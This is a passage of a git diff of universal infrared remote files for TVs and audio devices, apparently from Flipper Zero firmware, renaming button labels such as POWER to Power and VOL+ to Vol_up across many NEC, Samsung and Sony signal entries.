type: parsed protocol: NEC address: 01 00 00 00 command: 29 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 84 F4 00 00 command: 0B F4 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 33 00 00 00 command: 00 FF 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 33 00 00 00 command: 1E E1 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 33 00 00 00 command: 1D E2 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 33 00 00 00 command: 0B F4 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 83 55 00 00 command: 90 6F 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 83 55 00 00 command: 99 66 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 83 55 00 00 command: 98 67 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 DF 00 00 command: 1C E3 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 DF 00 00 command: 4F B0 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 DF 00 00 command: 4B B4 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 32 00 00 00 command: 02 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 32 00 00 00 command: 2E 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 32 00 00 00 command: 52 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 20 00 00 00 command: 41 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 20 00 00 00 command: 51 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 20 00 00 00 command: 56 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 20 00 00 00 command: 5A 00 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC15 address: 54 00 00 00 command: 15 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 83 F4 00 00 command: 82 7D 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 83 F4 00 00 command: 83 7C 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 83 F4 00 00 command: 14 EB 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 31 00 00 00 command: 91 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 31 00 00 00 command: 90 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 31 00 00 00 command: D0 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 31 00 00 00 command: 89 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 86 00 00 00 command: 00 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 86 00 00 00 command: 30 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 86 00 00 00 command: 31 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 86 00 00 00 command: 32 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 30 00 00 00 command: 00 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 87 4E 00 00 command: 0D 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9032 4479 597 560 572 558 564 566 566 1666 589 1671 594 562 570 560 562 568 564 1669 596 560 562 568 564 1669 596 560 562 1671 594 1666 588 1671 594 562 570 560 562 568 564 1669 596 560 562 568 564 566 566 563 569 1664 591 1669 596 1664 590 565 567 1667 598 1661 593 1666 588 1671 594 562 570 560 562 568 564 565 567 563 569 560 562 568 564 565 567 1666 588 1671 594 1665 589 1670 595 1665 590 1669 596 1664 590 1668 597 13983 9029 2222 599 96237 9030 2221 589 96244 9034 2217 594 96244 9033 2218 592 96249 9038 2213 597 96239 9037 2214 596 96238 9028 2223 598 96221 9032 2215 595 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9034 4482 593 563 569 561 571 559 563 1698 566 1694 570 559 563 568 564 566 566 1695 569 560 572 559 563 1671 593 563 569 1692 562 1671 593 1693 571 558 564 567 565 565 567 1693 571 532 590 567 565 1695 569 560 562 1698 566 1694 570 1663 591 539 593 1693 571 1688 566 564 568 1691 563 567 565 565 567 563 569 561 571 559 563 567 565 565 567 563 569 1690 564 1695 569 1691 563 1696 568 1691 563 1697 567 1692 562 1697 567 13988 9030 2223 597 96250 9035 2219 591 96245 9032 2221 589 96240 9038 2215 595 96235 9033 2220 590 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 9028 4482 593 563 569 561 571 558 564 1696 568 1690 564 566 566 563 569 561 571 1688 566 563 569 561 571 1688 566 563 569 1690 564 1695 569 1689 565 1668 596 560 562 568 564 1695 569 560 562 568 564 1695 569 560 562 568 564 1695 569 1690 564 566 566 1692 572 1687 567 563 569 1690 564 566 566 564 568 562 570 559 563 567 565 565 567 562 570 560 562 1696 568 1665 589 1670 594 1665 589 1670 594 1664 590 1669 647 1612 590 13987 9031 2220 590 96223 9033 2217 593 96223 9034 2218 592 96225 9032 2219 591 96221 9087 2164 595 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 9031 4479 596 560 572 558 564 566 566 1693 571 1688 566 563 569 561 571 559 563 1696 568 561 571 559 563 1697 567 562 570 1689 565 1694 570 1688 566 1693 571 1661 593 1693 571 558 564 566 566 564 568 1691 563 541 591 564 568 562 570 560 562 1697 567 1692 562 1696 568 562 570 1689 565 564 568 561 571 559 563 567 565 564 568 562 570 560 562 567 565 1694 570 1689 565 1694 570 1688 566 1693 571 1688 566 1693 571 1662 592 13987 9031 2220 590 96231 9034 2217 593 96234 9030 2222 588 96247 9037 2215 595 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 32 00 00 00 command: 11 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 32 00 00 00 command: 14 00 00 00 # OFF -name: POWER +name: Power type: parsed protocol: NECext address: 83 F4 00 00 command: 4E B1 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 03 00 00 00 command: 1D 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 03 00 00 00 command: 11 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 03 00 00 00 command: 15 00 00 00 # OFF -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9075 4307 677 433 675 456 651 461 651 1579 650 1576 649 459 649 460 648 465 648 1578 647 461 622 491 622 1604 647 465 647 1583 622 1608 647 1579 647 461 647 466 622 1604 647 465 647 1579 647 461 645 463 648 465 648 1583 646 1580 646 466 647 1579 622 491 647 1583 622 1608 647 1579 647 461 647 461 622 486 622 486 647 461 647 462 646 462 622 491 646 1584 622 1608 647 1584 621 1608 647 1583 646 1584 647 1584 646 1592 622 14330 9047 2137 621 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 07 00 00 00 command: E6 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Samsung32 address: 07 00 00 00 command: 07 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Samsung32 address: 07 00 00 00 command: 0B 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: Samsung32 address: 07 00 00 00 command: 0F 00 00 00 # OFF -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 3523 1701 472 426 444 1269 472 426 444 426 442 429 443 427 443 426 444 426 444 426 443 427 442 429 440 430 439 432 438 1304 437 433 437 432 438 432 438 433 437 433 437 433 437 433 437 433 437 433 437 1304 437 433 437 433 437 433 437 1304 437 433 437 433 437 1304 437 433 437 434 436 433 437 434 436 434 436 434 436 433 437 433 437 434 436 1304 437 1305 436 1305 436 1305 436 1305 436 1305 436 434 436 434 436 1305 436 1305 436 1305 436 434 436 1305 436 1305 436 1306 435 1306 435 74393 3515 1736 437 433 437 1304 437 433 437 433 437 433 437 433 437 433 437 433 437 433 437 434 436 433 437 434 436 434 436 1304 437 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 1305 436 434 436 434 436 1306 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 436 434 435 435 1307 434 1331 410 1307 434 1307 434 1330 411 1307 434 460 410 460 410 1331 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74393 3515 1736 437 433 437 1304 437 433 437 433 437 433 437 433 437 433 437 433 437 433 437 434 436 434 436 433 437 433 437 1304 437 434 436 434 436 434 437 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 1305 436 435 435 434 436 1305 436 434 436 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 1307 434 1306 435 1307 434 1307 434 1307 434 1331 410 460 410 460 410 1331 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74393 3515 1736 437 433 437 1304 437 433 437 433 437 433 437 433 437 433 437 433 437 433 437 433 437 433 437 434 436 433 437 1304 437 433 437 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 437 1305 436 434 436 434 436 434 436 1305 436 434 436 434 436 1306 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 1307 434 1330 411 1330 411 1330 411 1330 411 1330 411 460 410 460 410 1331 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 # OFF -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9093 4441 620 507 618 530 594 531 593 1652 595 1653 620 505 620 505 619 506 617 1630 616 508 616 508 616 1632 615 509 615 1631 616 1632 615 1632 615 510 615 509 615 1632 615 509 615 1632 615 510 615 510 614 509 615 1632 614 1633 614 509 615 1633 614 509 615 1632 615 1632 614 1633 614 510 614 510 615 510 615 510 614 510 614 510 615 510 615 510 614 1632 615 1632 614 1632 615 1632 615 1632 615 1632 615 1632 615 1633 614 14439 9088 2192 614 96349 9112 2190 616 # OFF -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 243 27700 170 27632 246 27694 282 27595 307 27497 241 27696 177 27710 164 27644 245 27629 246 27712 174 27638 211 27736 131 27741 306 27504 214 27727 135 27749 132 27761 126 27744 131 27753 127 27764 121 27767 132 27773 307 27577 131 27706 213 27761 129 27759 128 27770 125 27694 213 27751 307 27578 131 27737 131 27745 304 27575 335 27540 124 27752 132 27749 132 27747 134 27757 134 27758 127 27762 131 27748 131 27750 122 27749 130 27748 125 27772 131 27774 136 27762 135 27686 215 27742 131 27749 132 27756 133 27764 126 24073 9255 4460 672 488 618 541 619 541 619 1675 619 1676 618 542 618 542 618 542 618 1676 618 542 618 543 617 1678 616 568 592 1702 592 1702 592 1703 617 543 617 543 617 1677 617 543 617 1678 615 544 616 544 616 544 616 1678 616 1679 615 544 616 1679 615 545 615 1679 615 1679 615 1679 615 40240 9173 2273 591 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 219 27658 217 27663 216 27658 216 27634 216 27642 215 27646 217 27662 217 27637 216 27649 216 27649 218 27656 217 27658 215 27640 214 27636 217 27649 216 27644 218 27635 217 27630 215 27645 216 27631 215 27632 216 27650 216 27628 217 27630 214 27627 217 27623 215 27632 215 27641 216 27634 214 27633 215 27648 215 27648 217 27651 215 27635 216 27629 216 27630 216 2021 9254 4461 618 542 618 542 618 542 618 1675 619 1676 618 541 619 541 619 542 618 1677 617 543 617 543 617 1678 616 568 592 1702 592 1702 618 1676 618 542 618 542 618 543 617 1677 617 543 617 544 616 1678 616 544 616 1678 616 1678 616 1678 616 544 616 1678 616 1678 616 544 616 1678 616 40239 9200 2247 617 99930 110 27739 119 27738 123 27750 126 27738 175 27617 214 27716 203 27604 213 27639 217 27631 214 27722 136 27753 119 27736 175 27618 246 27683 177 27619 245 27685 171 55486 244 27693 158 27635 241 27695 170 27693 129 27717 340 27530 113 27757 106 27751 124 27728 172 27707 126 27666 215 27708 123 27733 123 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 18 E9 00 00 command: 49 B6 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 02 00 00 00 command: 14 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 02 00 00 00 command: 48 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 02 00 00 00 command: 40 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 02 00 00 00 command: 18 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: B8 57 00 00 command: 0C F3 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: B8 57 00 00 command: 0D F2 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: B8 57 00 00 command: 1E E1 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: B8 57 00 00 command: 1F E0 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 32 00 00 00 command: 81 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 32 00 00 00 command: 8F 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 32 00 00 00 command: 8C 00 00 00 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 9066 4428 608 507 609 1622 609 507 609 507 609 1623 608 1623 609 507 609 506 610 1623 609 507 609 1622 610 1623 608 507 609 506 610 1622 609 1623 609 506 610 1622 610 506 610 1623 637 478 690 425 638 478 637 1594 637 1594 664 451 636 1594 610 506 610 1621 611 1621 610 1621 610 505 611 40183 9065 2156 637 95953 9037 2185 608 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: A8 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 00 00 00 00 command: 88 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 9C 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 00 00 00 00 command: 8C 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 87 45 00 00 command: 17 E8 00 00 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9064 4354 666 1559 666 1562 662 1586 638 475 636 477 635 477 635 478 635 1590 635 1591 634 478 635 1591 634 478 634 478 635 478 634 1591 635 478 634 1591 634 478 635 478 634 478 635 1591 634 478 634 1591 635 478 634 478 634 1591 634 1591 635 1591 634 478 635 1591 634 478 634 1591 635 40957 9035 2144 634 95483 9047 2155 632 95484 9048 2153 633 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 87 45 00 00 command: 50 AF 00 00 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 9034 4385 638 1587 664 1562 663 1587 637 476 635 478 634 478 635 478 635 1591 634 1591 634 478 635 1591 635 478 634 478 635 478 635 1591 635 478 634 478 634 1591 634 478 635 479 634 1591 635 478 634 1591 635 478 634 1592 634 478 634 1591 635 1591 635 478 634 1592 634 478 634 1591 634 40958 9033 2144 635 # -name: POWER +name: Power type: parsed protocol: NECext address: FF FF 00 00 command: E8 17 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: FF FF 00 00 command: BD 42 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: FF FF 00 00 command: F2 0D 00 00 # -name: POWER +name: Power type: parsed protocol: Kaseikyo address: 41 54 32 00 command: 05 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Kaseikyo address: 41 54 32 00 command: 70 01 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Kaseikyo address: 41 54 32 00 command: 71 01 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 31 00 00 00 command: 81 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 83 F4 00 00 command: 17 E8 00 00 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.33 data: 9010 4413 532 1617 532 1617 533 489 533 489 533 489 558 464 558 465 557 1593 557 465 557 466 556 1594 555 467 555 1595 529 1621 554 1595 581 1569 581 441 581 1569 581 441 581 441 581 441 581 441 581 441 581 1569 581 1569 581 441 581 1569 580 1569 580 1570 580 1595 554 1595 555 468 554 42156 8983 2135 556 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.33 data: 9032 4390 556 1592 559 1591 559 463 559 463 558 464 557 465 556 465 557 1593 583 440 581 441 580 1569 581 441 581 1569 580 1569 581 1569 581 1570 580 1596 554 1596 554 468 554 468 554 468 554 442 580 442 580 1596 554 469 553 469 553 1596 554 1596 553 1597 550 1598 553 1598 552 469 551 42155 9008 2107 531 95218 9006 2108 582 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.33 data: 9011 4388 557 1617 532 1617 532 489 533 489 558 464 558 440 582 440 582 1593 556 466 556 466 556 1594 556 467 555 1595 555 1595 529 1620 554 1596 554 467 554 468 555 1595 579 443 581 1569 581 441 581 441 580 442 581 1569 581 1569 581 441 581 1569 580 441 581 1569 581 1569 581 1570 579 42152 8957 2159 556 # -name: POWER +name: Power type: parsed protocol: NECext address: 4F 50 00 00 command: 02 FD 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 4F 50 00 00 command: 08 F7 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 4F 50 00 00 command: 0B F4 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 81 03 00 00 command: F0 0F 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 87 45 00 00 command: 51 AE 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 87 45 00 00 command: 52 AD 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 8811 4222 530 1580 531 1579 531 507 531 507 531 507 531 508 531 508 530 1582 528 1583 527 535 503 1608 502 536 501 1609 501 537 501 1610 500 538 500 1611 499 538 500 539 500 538 500 1611 500 539 499 538 500 1611 499 539 499 1611 499 1611 500 1611 499 539 499 1611 500 1611 500 539 499 35437 8784 4252 500 1611 500 1612 500 539 500 539 500 539 500 539 500 539 500 1611 500 1612 499 539 500 1612 500 539 500 1612 499 539 500 1612 500 539 500 1612 499 539 500 539 500 539 499 1612 499 540 499 539 500 1612 499 539 500 1612 499 1613 499 1612 499 539 500 1612 500 1612 500 539 500 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 01 00 00 00 command: 06 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 01 00 00 00 command: 09 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 01 00 00 00 command: 1A 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 01 00 00 00 command: 00 00 00 00 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 9035 4437 563 548 563 548 563 522 594 1645 591 1639 592 518 593 548 563 552 563 1640 592 548 563 553 562 1668 564 524 592 1642 594 1674 562 1673 563 1639 593 548 563 552 564 1669 562 548 563 520 615 529 586 1645 587 529 587 1650 586 1646 586 529 586 1650 586 1649 587 1646 586 524 587 524 587 524 587 524 587 525 643 467 644 440 671 467 644 472 643 1592 644 1593 643 1593 642 1594 641 1594 587 1649 585 1651 563 1682 562 14430 9008 2205 562 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 84 F4 00 00 command: 2C D3 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 84 F4 00 00 command: 2F D0 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 4F 50 00 00 command: 0F F0 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 02 00 00 00 command: 12 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 02 00 00 00 command: 06 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 02 00 00 00 diff --git a/assets/resources/infrared/assets/tv.ir b/assets/resources/infrared/assets/tv.ir index a0fe73bd9..ab608cf1b 100755 --- a/assets/resources/infrared/assets/tv.ir +++ b/assets/resources/infrared/assets/tv.ir @@ -3,1898 +3,1898 @@ Version: 1 # Last Updated 17th May, 2023 # Last Checked 17th May, 2023 # -name: POWER +name: Power type: parsed protocol: SIRC address: 01 00 00 00 command: 15 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: SIRC address: 01 00 00 00 command: 12 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: SIRC address: 01 00 00 00 command: 13 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: SIRC address: 01 00 00 00 command: 10 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: SIRC address: 01 00 00 00 command: 11 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: SIRC address: 01 00 00 00 command: 14 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 40 00 00 00 command: 0B 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 40 00 00 00 command: 11 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 40 00 00 00 command: 10 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 40 00 00 00 command: 13 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 40 00 00 00 command: 12 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 40 00 00 00 command: 14 00 00 00 # -name: POWER +name: Power type: parsed protocol: Kaseikyo address: 80 02 20 00 command: D0 03 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Kaseikyo address: 80 02 20 00 command: 00 02 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Kaseikyo address: 80 02 20 00 command: 10 02 00 00 # -name: MUTE +name: Mute type: parsed protocol: Kaseikyo address: 80 02 20 00 command: 20 03 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: Kaseikyo address: 80 02 20 00 command: 40 03 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: Kaseikyo address: 80 02 20 00 command: 50 03 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 04 00 00 00 command: 40 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 04 00 00 00 command: 12 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 7F 00 00 command: 15 EA 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 7F 00 00 command: 16 E9 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 7F 00 00 command: 1B E4 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 7F 00 00 command: 1A E5 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 00 7F 00 00 command: 19 E6 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 00 7F 00 00 command: 18 E7 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 FB 00 00 command: 0F F0 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 FB 00 00 command: 0A F5 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 FB 00 00 command: 58 A7 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 FB 00 00 command: 4B B4 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 00 FB 00 00 command: 1F E0 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 00 FB 00 00 command: 1E E1 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 DF 00 00 command: 1C E3 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 DF 00 00 command: 4B B4 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 DF 00 00 command: 4F B0 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 DF 00 00 command: 08 F7 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 00 DF 00 00 command: 09 F6 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 00 DF 00 00 command: 05 FA 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 01 00 00 00 command: 03 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: RC5 address: 00 00 00 00 command: 20 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: RC5 address: 00 00 00 00 command: 21 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: RC5 address: 00 00 00 00 command: 11 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: RC5 address: 00 00 00 00 command: 10 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 03 00 00 00 command: 1D 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 7F 00 00 command: 4E B1 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 03 00 00 00 command: 11 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 03 00 00 00 command: 15 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 19 00 00 00 command: 18 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 19 00 00 00 command: 56 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 19 00 00 00 command: 4F 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 19 00 00 00 command: 0D 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 19 00 00 00 command: 4C 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 19 00 00 00 command: 0F 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: BA A0 00 00 command: 4C B3 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: BA A0 00 00 command: 01 FE 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: AD ED 00 00 command: B5 4A 00 00 # # ON -name: POWER +name: Power type: parsed protocol: NEC address: 01 00 00 00 command: 40 00 00 00 # ON -name: POWER +name: Power type: parsed protocol: NECext address: A0 B7 00 00 command: E9 16 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC address: 10 00 00 00 command: 15 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 08 00 00 00 command: 05 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 08 00 00 00 command: 00 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 08 00 00 00 command: 01 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 08 00 00 00 command: 02 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 08 00 00 00 command: 03 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 08 00 00 00 command: 0B 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 DF 00 00 command: 1C 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 DF 00 00 command: 4B 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 DF 00 00 command: 4F 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 00 DF 00 00 command: 09 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 00 DF 00 00 command: 05 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 DF 00 00 command: 08 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 0E 00 00 00 command: 0C 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: Samsung32 address: 0E 00 00 00 command: 0D 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Samsung32 address: 0E 00 00 00 command: 14 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Samsung32 address: 0E 00 00 00 command: 15 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: Samsung32 address: 0E 00 00 00 command: 12 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: Samsung32 address: 0E 00 00 00 command: 13 00 00 00 # -name: POWER +name: Power type: parsed protocol: RC6 address: 00 00 00 00 command: 0C 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 07 00 00 00 command: 02 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 50 00 00 00 command: 17 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 31 49 00 00 command: 63 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: AA 00 00 00 command: 1C 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 38 00 00 00 command: 1C 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 83 7A 00 00 command: 08 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 53 00 00 00 command: 17 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 18 18 00 00 command: C0 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 38 00 00 00 command: 10 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: AA 00 00 00 command: C5 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 04 00 00 00 command: 08 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 18 00 00 00 command: 08 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 71 00 00 00 command: 08 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 80 6F 00 00 command: 0A 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 48 00 00 00 command: 00 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 80 7B 00 00 command: 13 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 80 7E 00 00 command: 18 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 50 00 00 00 command: 08 